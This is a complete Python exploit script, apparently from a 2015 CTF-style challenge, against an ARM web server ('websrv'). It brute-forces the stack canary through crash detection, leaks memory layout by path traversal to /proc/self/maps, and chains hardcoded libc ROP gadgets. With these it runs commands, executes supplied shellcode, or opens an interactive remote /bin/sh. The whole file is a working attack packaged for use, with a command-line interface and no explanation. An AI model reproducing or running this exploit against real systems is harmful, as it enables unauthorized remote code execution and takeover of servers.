#!/usr/bin/env python
#!coding: utf-8
#
# Copyright (c) 2015 Samuel Groß
#
import argparse, struct, sys, time, re, telnetlib
from socket import create_connection

TARGET = ('x.x.x.x', 80)

#
# Global state
#
maps      = None
fn        = None
pc_offset = None
cookie    = None
offset    = None


#
# Helper functions
#
def p(*args):
    return b''.join(struct.pack('<I', v) for v in args)

def u(b):
    return struct.unpack('<I', b)[0]

def e(s):
    return s.encode()

def d(b):
    return b.decode()


def request(path='/', body=b'', socket=None):
    """Perform an HTTP request."""
    close = False
    if not socket:
        socket = create_connection(TARGET)
        close = True

    request = b'GET ' + e(path) + b' HTTP/1.1\r\nContent-Length: ' + e(str(len(body))) + b'\r\n\r\n' + body
    socket.sendall(request)

    resp = b''
    while not b'\r\n\r\n' in resp:
        b = socket.recv(1)
        if len(b) == 0:
            raise ConnectionResetError
        resp += b

    match = re.search('Content-Length:\s*(\d+)', d(resp), re.IGNORECASE)
    if match:
        l = int(match.group(1))
        while l:
            b = socket.recv(l)
            if len(b) == 0:
                raise ConnectionResetError
            resp += b
            l -= len(b)

    if close:
        socket.close()
    return resp

def cookiebrute():
    """Brute force the stack canary."""
    def crashes(payload):
        crashed = False
        s = create_connection(TARGET)

        try:
            request('/', payload, s)
            request('/', socket=s)             # still alive?
        except ConnectionResetError:
            crashed = True

        s.close()
        return crashed

    print("[*] trying to find offset to stack cookie...")
    payload = b'A' * 10
    while not crashes(payload):
        payload *= 2

    l, h = len(payload) // 2, len(payload)
    while l < h - 1:
        m = (l + h) // 2
        print("[*] trying length {}".format(m))
        if crashes(b'A' * m):
            h = m
        else:
            l = m

    offset = l
    assert(not crashes(b'A' * offset) and (crashes(b'A' * (offset + 1) or crashes(b'A' * offset + b'B'))))
    print("[+] offset to stack cookie: {} bytes".format(offset))

    cookie = b''
    print("[*] brute forcing cookie value...")
    for i in range(4):
        for b in (bytes([b]) for b in range(256)):
            payload = b'A' * offset + cookie + b

            if not crashes(payload):
                print("[+] byte found: {}".format(b))
                cookie += b
                break
        else:
            print("[-] failed to find current byte")
            return None, None

    assert(not crashes(b'A' * offset + cookie))

    return offset, cookie

def leakmaps():
    """Leaks the remote process' address space through /proc/self/maps."""
    s = create_connection(TARGET)
    request('../../../../../proc/self/maps', socket=s)

    # the server will report the file size of /proc/self/maps as 0, so we still need to read the file data
    resp = s.recv(4096)

    maps = {}
    for start, end, prot, name in re.findall('([a-f0-9]+)-([a-f0-9]+) (...)p [^\n]* ([^\s\n]+)\n', d(resp)):
        name = name.split('/')[-1]
        if name == '0':
            continue
        elif '[' == name[0]:
            name = name[1:-1]
        elif 'rw-' == prot:
            name += '.bss'
        elif 'r--' == prot:
            name += '.rodata'
        if not name in maps:
            maps[name] = int(start, 16)

    return maps

def resolve():
    """Resolves the addresses of a set of libc functions in the remote process."""
    offsets = {
        'mmap'   : 0xc8c10,
        'write'  : 0xbdf20,
        'read'   : 0xbde90,
        'system' : 0x3a8b8,
        'dup2'   : 0xbe690,
        'execl'  : 0x9adf4
    }

    return {k: v + maps['libc-2.13.so'] for k, v in offsets.items()}


#
# ROP payload helper
#
def call(func, *args, r6=None):
    """Constructs a ROP chain to call the given function with the given arguments."""
    popregs  = maps['libc-2.13.so'] + 0xcf154            # pop {r0, r1, r2, r3, fp, lr}; bx lr
    prepcall = maps['libc-2.13.so'] + 0xc9264            # pop {r4, r5, r6, pc}
    call     = maps['libc-2.13.so'] + 0xc9260            # blx r5 ; pop {r4, r5, r6, pc}

    assert(len(args) < 7)

    regargs   = list(args[:4]) + [0] * 4
    stackargs = list(args[4:]) + [0] * 3
    if r6:
        stackargs[2] = r6

    chain  = p(popregs)             # pc
    chain += p(*regargs[:4])        # r0-r3
    chain += p(0x41414141)          # fp
    chain += p(prepcall)            # lr/pc
    chain += p(0x41414141)          # r4
    chain += p(func)                # r5
    chain += p(0x41414141)          # r6
    chain += p(call)                # pc
    chain += p(*stackargs[:3])

    return chain


parser = argparse.ArgumentParser(description='Exploit.')
group = parser.add_mutually_exclusive_group()
group.add_argument('-s', '--shellcode', type=argparse.FileType('rb'),
        help='execute the shellcode in the given file on the target')
parser.add_argument('-t', '--thumb', action='store_true',
        help='indicate that the given shellcode has to be executed in thumb mode')
group.add_argument('-c', '--command',
        help='execute the command on the target and print the result')
parser.add_argument('-i', '--interactive', action='store_true',
        help='if not further arguments are given spawn a shell and interact with it. If either -s or -c are given drop into an ineractive mode after executing the payload')
parser.add_argument('--cookie', type=lambda s: int(s, 0),
        help='the stack cookie to use')
parser.add_argument('--offset', type=lambda s: int(s, 0),
        help='the offset to the stack cookie')
args = parser.parse_args()

if not (args.command or args.shellcode or args.interactive):
    parser.error('At least one of -i, -c or -s required')
if args.cookie and not args.offset:
    parser.error('--offset is required if --cookie is used')


if not args.cookie:
    print("[*] brute forcing stack canary...")
    offset, cookie = cookiebrute()
    if not cookie:
        print("[-] could not determine stack canary value")
        sys.exit(-1)
    print("[+] cookie: 0x{:x}".format(u(cookie)))
else:
    cookie, offset = p(args.cookie), args.offset
    print("[+] using cookie: 0x{:x}".format(u(cookie)))

print("[*] leaking memory ranges...")
maps = leakmaps()
print("[+] libc @ 0x{:x}".format(maps['libc-2.13.so']))

print("[*] resolving function addresses...")
fn = resolve()

print("[!] all done, ready to pwn")

pc_offset = 36

if args.command:
    s = create_connection(TARGET)

    rop  = call(fn['read'], 4, maps['websrv.bss'], len(args.command) + 1)
    rop += call(fn['dup2'], 4, 0)
    rop += call(fn['dup2'], 4, 1)
    rop += call(fn['dup2'], 4, 2)
    rop += call(fn['system'], maps['websrv.bss'])
    payload = offset * b'A' + cookie + pc_offset * b'B' + rop

    request('/', payload, s)
    s.sendall(e(args.command) + b'\x00')

    if not args.interactive:
        output = s.recv(4096)
        print(d(output))

elif args.shellcode:
    shellcode = args.shellcode.read()
    s = create_connection(TARGET)

    gadget = maps['libc-2.13.so'] + 0xc9578              # blx r6

    rop  = call(fn['mmap'], 0x31337000, 0x1000, 0x7, 0x32, 0xffffffff, 0)
    rop += call(fn['read'], 4, 0x31337000, len(shellcode), r6=0x31337000 | args.thumb)
    rop += p(gadget)
    payload = offset * b'A' + cookie + pc_offset * b'B' + rop

    request('/', payload, s)
    s.sendall(shellcode)

if args.interactive:
    if not (args.shellcode or args.command):
        bin_sh = maps['libc-2.13.so'] + 0x116974        # use the string "/bin/sh" located in the libc
        s = create_connection(TARGET)

        rop  = call(fn['dup2'], 4, 0)
        rop += call(fn['dup2'], 4, 1)
        rop += call(fn['dup2'], 4, 2)
        rop += call(fn['execl'], bin_sh, bin_sh, 0)
        payload = offset * b'A' + cookie + pc_offset * b'B' + rop

        request('/', payload, s)

    print("*** interactive ***")
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
